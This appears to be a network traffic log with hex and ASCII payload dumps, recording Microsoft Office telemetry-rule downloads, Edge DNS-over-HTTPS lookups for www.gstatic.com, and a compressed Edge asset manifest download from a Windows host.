2024-11-12 16:07:46 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:46 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:46 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:46 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: bae79781-201e-0000-5fa1-34a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160746Z-15869dbbcc6qwghvhC1DFWw7e8000000016000000000ahr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:46 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:46 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:46 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:46 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160746Z-16547b76f7f7scqbhC1DFW0m5w0000000fpg00000000gwfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:46 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:46 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:46 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:46 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160746Z-16547b76f7fx6rhxhC1DFW76kg0000000ft000000000kpnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:46 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49879	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 16:07:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 16:07:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e17c6e839ec4862-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 16:07:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 4f 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomOq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49881	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 16:07:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 16:07:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e17c6e83cb92829-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 16:07:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49877	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 16:07:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 16:07:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e17c6e86fa8e936-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 16:07:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bf 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:47 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 96da997d-001e-0028-355d-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160747Z-16547b76f7f775p5hC1DFWzdvn0000000fvg00000000b3sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49880	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:47 UTC	577	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: a43f2363-001e-0028-52fa-341fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160747Z-15869dbbcc6pfq2ghC1DFWh2wg00000001q0000000000vny Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:47 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-12 16:07:47 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-12 16:07:47 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-12 16:07:47 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-12 16:07:48 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ 